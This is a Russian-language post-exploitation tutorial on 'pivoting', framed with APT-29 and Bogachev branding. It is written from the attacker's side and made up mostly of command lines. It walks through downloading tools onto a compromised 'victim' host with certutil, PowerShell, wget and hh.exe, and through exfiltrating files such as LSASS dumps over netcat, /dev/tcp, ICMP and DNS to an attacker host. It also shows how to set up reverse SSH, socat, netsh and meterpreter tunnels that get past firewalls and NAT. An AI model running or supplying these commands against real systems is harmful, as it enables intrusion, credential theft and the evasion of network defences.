╭─── ☭ APT-29

╭─── ☭ APT-29

Обратно в СССР "Богачёв Евгений Михайлович"

☭ Pivoting Закрепление в системах Windows Linux / Обход Firewall-Антивирусов / Проброс портов / Удаленное скачивание закачка файлов программ и пр.

Pivoting video


Pivoting, как ни странно, неимеет никакого отношения к распитию пива. Это один из этапов взлома, когда атакующий создает для себя точку опоры в скомпромети рованной системе, плацдарм для дальнейшего проникновения. О приемах, которые для этого применяются, мы сегодня и поговорим.


Во многом постэксплуатация похожа на «экстремальное администри рование» и мало связана с информационной безопасностью. Но без этого этапа необходится ни один взлом, иначе он попросту лишен смысла.


╭─── В целом постэксплуатация обычно включает такие последовательные шаги:


  • evasion, обход антивируса;
  • persistence, закрепление (регистрация в автозагрузке, создание службы и так далее);
  • pivoting, организация доступа, точки опоры;

privilege escalation, повышение привилегий;

gathering, сбор данных (паролей, документов и прочего);

lateral movement, горизонтальное перемещение (получение доступа к другим хостам);

  • прочие мероприятия для управления скомпрометированной ОС (получение GUI, установка кейлоггеров, сканирование портов); заметание следов (очистка логов, удаление созданных файлов).


Порядок шагов каждый раз может быть разным, некоторые из них могут и вовсе отсутствовать. Например, тот же самый pivoting нужен далеко не всегда.



Каждый из этапов вполне заслуживает отдельной статьи, но сегодня мы поговорим исключительно о pivoting’е.



  • Pivoting направлен главным образом на обход сетевых экранов или прочих помех передаче данных между атакующим и жертвой, таких как фильтрация портов или NAT. И решать подобные проблемы можно не только пробросом портов или туннелировани ем.


Организация GUI в среде Windows так же может стать серьезной проблемой, так как некото рые программы неимеют консольного интерфейса.



С pivoting’ом можно столкнуться на любом этапе атаки — от проникновения во внут реннюю сеть, когда нужно преодолеть ограничения DMZ, до того момента, когда уже получены права администратора домена и нужно добраться до особо охраняемой локальной сети. Будем стараться использовать наименее подозрительные приемы, чтобы нас не спалили антивирусы, и при этом и наиболее универсальные — встроенные команды или портативный софт.


Рассмотрим разные случаи pivoting’а — с правами администратора и без. Как обычно, на атакующей стороне используем Linux.



INFO:

Символом # отмечены случаи, когда необходимы административные права на скомпрометирован ной ОС. Сим волом $ — случаи, когда возможен запуск без прав администратора.



ПЕРЕДАЧА ФАЙЛОВ (ИНФИЛЬТРАЦИЯ И ЭКСФИЛЬТРАЦИЯ)

  • Первая проблема, с которой атакующий сталкивается на этапе pivoting’а, это передача файлов. Порой нужно залить на удаленный хост эксплоит поднятия привилегий, скачать какой‐либо документ, дамп памяти, поднять прокси‐сервер, наконец. Специфика передачи данных обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Тут есть несколько вариантов.


Эксфильтрация через TCP. Классическая передача файлов c помощью netcat выглядит так:


Код:

attacker> nc victim 1234 < file
victim $> nc ‐nv ‐lp 1234 > file


То же самое, но обратное соединение:


Код:

attacker> nc ‐nv ‐lp 1234 < file
victim$> nc attacker 1234 > file


Метод главным образом ориентирован на Linux. Однако даже на Linux не всегда присутствует netcat. В таком случае можно передатьфайлы с использованием bash:


Код:

attacker> nc ‐nv ‐lp 1234 < file
victim $> exec 3< > /dev/tcp/10.0.0.1/1234
victim $> cat <&3 > file


Разумеется, мы можем выполнить передачу файлов и в обратном порядке — от victim к attacker.



Эксфильтрация через SMB

Самый простой вариант передачи файлов под Windows. Для быстрого запуска SMB‐сервера используем Python‐пакет impacket:


Код:

attacker> sudo smbserver.py ro /usr/share/windows‐binaries/
victim $> copy \\attacker\r o \nmap.exe


Эксфильтрация через HTTP

А это — самый простой вариант передачи файлов под Linux. Для быстрого старта вебсервера в текущей папке используем встроенный модуль Python:


Код:

attacker> python ‐m SimpleHTTPServer 8080
victim$> wget http://attacker/socat ‐O /tmp/socat


Часто HTTP — единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разнымиспособами. Наиболее универсальный,но не самый кра сивый метод выглядит так:


Код:

victim$> hh.exe http://attacker/nmap.exe.txt
victim $> cd \u sers \v ictim \appdata\l ocal \microsoft\windows\
victim $> dir /s nmap.exe*
victim $> cd путь_до_папки
victim $> move nmap.exe[1].txt nmap.exe



Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt Если на удаленном хосте установлена Windows 7 или новее, проще использовать PowerShell:


Код:

victim $> powershell ‐c (new‐object System.Net.WebClient).DownloadFile ('http://attacker/nmap.exe' , 'C:\users\victim\desktop\nmap.exe')


Кроме того, если на хосте крутится более‐менее свежая Windows 7, можно исполь зовать очень полезную утилиту, к которой мы чуть позже вернемся еще не раз:


Код:

victim $> certutil ‐urlcache ‐split ‐f http://attacker/nc.exe.txt nc.exe.txt



Помимо описанных методов, существует еще несколько, включая загрузку с помощью VBS или PowerShell, однако они более громоздки и используются на практике нечасто.



Эксфильтрация с использованием FTP

  • Способ хорошо подходит для Windows в случаях, когда SMB‐порты фильтруются. Час то во внутренних сетях между VLAN'ами админы фильтруют порты 445/TCP, что добав ляет атакующему проблем. Избавиться от них можно при помощи старого доброго протокола FTP. Для запуска FTP‐сервера в текущей папке используем Python‐пакет pyftpdlib :


Код:

attacker> sudo python ‐m pyftpdlib ‐p 21


Поскольку программа FTP интерактивная, на victim потребуется создать небольшой скрипт с командами:


Код:

victim $> echo open attacker 21 > ftp.txt
victim $> echo anonymous>> ftp.txt
victim $> echo pass>> ftp.txt
victim $> echo bin >> ftp.txt
victim $> echo GET nmap.exe >> ftp.txt
victim $> echo bye >> ftp.txt
victim $> ftp ‐s:ftp.txt


Обрати внимание: при передаче логина и пароля пробел отсутствует.



Эксфильтрация с помощью TFTP

  • Достаточно экзотический способ передачи файлов, однако упомянуть о нем, наверное, стоит. Для запуска TFTP‐сервера можно использовать классический atftpd а можно Python‐пакет ptftpd .


Код:

attacker> sudo ptftpd ‐p 69 eth0 .
victim#> pkgmgr /iu:TFTP; tftp.exe ‐i 10.0.0.10 GET nc.exe
victim$> tftp attacker get /nc



Эксфильтрация через ICMP

  • Если весь TCP запрещен, на помощь придет протокол ICMP. Этот метод подходит для эксфильтрации, то есть только для передачи данных в одну сторону — в сторону attacker. Под Linux это можно сделать относительно просто:


Код:

victim $> xxd ‐p ‐c 4 secret.bin | while read line ; do ping ‐c 1 ‐p
$line attacker; done


В приведенном выше примере мы передаем только 4 байта за один пакет. Под Windows для это го используем PowerShell и любой из кучи готовых скриптов в интернете.



Эксфильтрация через DNS

  • Если дело дошло до DNS, значит, на атакуемом хосте фильтруется все. Или почти все. Любая изолированная внутренняя сеть как‐то взаимодей ствует с внешним миром — с интерне том, например, для загрузки обновлений или отправки электронной почты. Поэтому DNS почти всегда работает на резолв внешних адресов.


Очень часто никто незаморачивается составлением белого списка допустимых доменов, так что мы получа ем вполне рабочий канал передачи данных в обе стороны.



Для эксфильтрации и инфильтрации через DNS воспользуемся готовыми скриптами . Здесь и во всех последующих разделах о DNS подразумевается, что мы делегировали себе зону attacker.tk . Запускаем кастомный DNS‐сервер:



Код:

attacker> sudo ./dns_upload.py ‐‐udp ‐‐file dnscat.exe


Запоминаем количество требуемых DNS‐запросов. Для загрузки файла по DNS потребу ется небольшой скрипт на VBS, так как он наиболее переносимый и будет работать на любой Windows. Перед запуском не забываем скорректировать количество DNS‐запросов в цикле for .



Запуск скрипта выполняется следующим образом:


Код:

victim$> cscript.exe dns_download.vbs



Несмотря на то что мы получили возможность скачать любой файл и можем восполь зоваться готовыми решениями вроде dnscat , бывает, что антивирусы портят жизнь, когда нужно всего лишь забрать какой‐нибудь дамп LSASS со скомпрометированной машины.


Поэтому используем аналогичные скрипты для эксфильтрации:


Код:

attacker> sudo ./dns_download.py ‐‐udp ‐‐file out.bin

victim $> cscript.exe dns_upload.vbs c:\p ath \t o \secret.bin attacker.tk


Под Linux действуем таким образом:


Код:

victim$> ./dns_download.sh attacker.tk 1080 /tmp/dnscat


Метод с DNS всем хорош, но для передачи больших файлов он довольно медленный.



Эксфильтрация plaintext

  • Передать файлы в виде простого текста возможно почти всегда. Как правило, если у нас есть шелл, мы можем вставить в него достаточно большую порцию данных, используя буфер обмена. При этом данные должны быть представлены в текстовой форме. Иног да слиш ком большие порции данных передать невозможно.


Поэтому в зависимости от раз мера передаваемого файла его следует сначала разделить на куски необходимых раз меров:


Код:

attacker> split ‐b $[ 1 * 1024 *1024] nmap.zip



В итоге получатся n файлов по 1 Мбайт (как в примере), начина ющиеся на x* . В качестве метода трансформации будем использовать Base64:


Код:

attacker> base64 ‐w 0 < xaa > xaa.txt



Под Linux после завершения передачи куски файла могут быть соединены вместе:


Код:

victim $> for i in x *; do base64 < $i > $i .txt ; done
victim $> cat x * .txt > nmap.zip


Готово, файл собран из кусочков. В Windows все не так просто и для решения аналогичной задачи существуют разные приемы.


Вот классический способ, подходящий для раритетных версий Windows:


Код:

attacker> wine exe2bat.exe someprog.exe commands.bat


Полученный на выходе bat‐файл — это готовые команды, полностью состоящие из печатных символов. Для сборки из текстового представления (в данном случае Hex) в исходный двоичный код используется встроенный компонент debug.exe , который при сутствует толь ко в 32‐битных версиях Windows от XP до 7 включительно.



Более современный метод, работающий на Windows 7–10 и аналогичных серверных редакциях Windows:


Код:

victim$> certutil ‐decode content_base64.txt nmap.exe



В каждом из упомянутых случаев мы могли столкнуться с тем, что файл пришлось порезать на несколько кусков. Что бы собрать получившиеся двоичные куски в один файл в Windows, нужно сделать следующее:


Код:

victim $> type xaa.bin xab.bin xac.bin > 1.exe


А если, наоборот, надо выгрузить с victim на attacker двоичные файлы большого раз мера, например дамп памяти? Проще всего порезать файл будет с помощью 7zip (который не требует установки и может быть доставлен на машину с помощью двух фай лов: 7z.exe и 7z.dll ):


Код:

victim$> 7z a ‐v1m out.7z hugefile.bin



Затем полученные бинарные куски могут быть закодированы в Base64:


Код:

victim$> certutil ‐encode 1.bin 1.txt


И переданы по соответствующему каналу.

  • Итак, с проблемой доставки файлов разобрались. Теперь мы можем передать все необходимые программы, которые потребуются нам дальше. Под Windows будем отдавать предпочтение portable‐вер сиям. Под Linux предполагается использовать статически собранныепрограммы, чтобы избежать проблем с версиями библиотек. Так как скомпрометированным может быть не только сервер, но и какой‐нибудь роутер или иной девайс, желательно иметь статически собранные бинарники под разные архитектуры, хотя бы самые популярные: x86, ARM и MIPS.



ПРОБРОС ПОРТОВ

  • Наверное, самое простое в pivoting’е — это пробросить куда‐нибудь порт. Вариантов такого проброса достаточно много. На самом деле для простых пробросов портов будет достаточно замечательной утилиты socat :


Команда:

victim$> socat.exe tcp‐listen:4445,fork tcp‐connect:target:445

Программа socat, кстати, портирова на из Linux, по этому там ее тоже можно задей ствовать, используя абсолютно аналогичный синтаксис. Вообще, возможности socat гораздо шире, чем простой редирект. К этой утилите мы еще вернемся.



  • Если на скомпрометированной машине у атакующего есть права администратора или root, то редирект можно выполнить средствами файрвола.


На Windows это дела ется так:


Команда:

victim#> netsh interface portproxy add v4tov4 listenport= 4445 listenaddress=victim connectport= 445 connectaddress=target


На Linux так:


Команда:

victim#> iptables ‐t nat ‐A PREROUTING ‐p tcp ‐‐dport 4445 ‐j DNAT ‐‐to‐destination target:445



Local port forwarding

  • Говоря о пробросе портов, нельзя пройти мимо SSH, который представляет собой достаточно гибкое решение и часто используется для этой цели. На самом деле SSH выполняет несовсем обычный редирект. Он создает туннели, позволяя повторно исполь зовать соединение — пробрасывать новое сетевое соединение внутри другого, уже уста новленного.


Примечательно, что и сервер, и клиент могут выступать в роли звена, выполняющего проброс.



Подразумеваем, что на victim запущен SSH‐сервер, вне зависимости от того, какая ОС там используется.


Проброс выполняется следующим образом:



Команда:

attacker> ssh ‐N user@victim ‐L 4445:target:445


Remote port forwarding

  • Remote port forwarding отличается от локального проброса лишь тем, что сама процедура выполняется с SSH‐сервера. В этом случае направление проброса будет противоположным установленному SSH‐подключению. Remote port forwarding может пригодиться, если нужно организовать канал эксфильтрации с victim через attacker. Например, что бы установить нужные пакеты, скачав их черезпрокси на изолированном от интернета скомпрометированном хосте. Но чаще Remote port forwarding применяется, если на victim не запущен SSH‐сервер или фильтруется порт. В таком случае мы можем все так же пробросить порт с attacker, но уже по инициативе victim.


Сперва запустим SSH‐сервер у себя и создадим фиктивную учетную запись:


Код:

attacker> sudo /etc/init.d/ssh start
attacker> useradd ‐M ‐N ‐d /dev/null ‐s /bin/false proxy
attacker> passwd proxy


Что бы неинтерактивно залогиниться по SSH, используем ключи:


Код:

victim $> chown user priv_key
victim $> chmod 0400 priv_key


А теперь создаем проброс по схеме back‐connect:


Код:

victim $> ssh ‐i priv_key proxy@attacker ‐N ‐R 4445:target:445 ‐o
StrictHostKeyChecking= no

Подобный способ так же поможет обойти файрвол или NAT. В Windows, где ты, скорее всего, не встретишь SSH‐серверы, нам тоже придется использовать Remote port forwarding, применив для этого портативный клиент:



Код:

victim> plink.exe ‐N ‐l proxy ‐pw passwd ‐R 4445:target:445 attacker ‐P 22


В итоге получаем конфигурацию, идентичную той, что показа на на рисунке выше. На картинке видно, что в случае c Local Port Forwarding роль проброса играет клиент, а при Remote Port Forwarding — сервер.



Работая с metasploit , мы так же можем выполнять пробросы, используя соединение между victim и attacker, то есть организовать туннелирование. Чтобы построить туннель attacker:4445victimtarget:445, делаем следующее:


Команда:

meterpreter> portfwd add ‐L 127.0.0.1 ‐l 4445 ‐r target ‐p 445



Для организации туннеля victim:6666 → attacker → target:8888 выполняем следующую команду:


Команда:

meterpreter> portfwd add ‐R ‐L target ‐l 8888 ‐p 6666






☭ Богачёв Евгений Михайлович ☭ APT-29

Report Page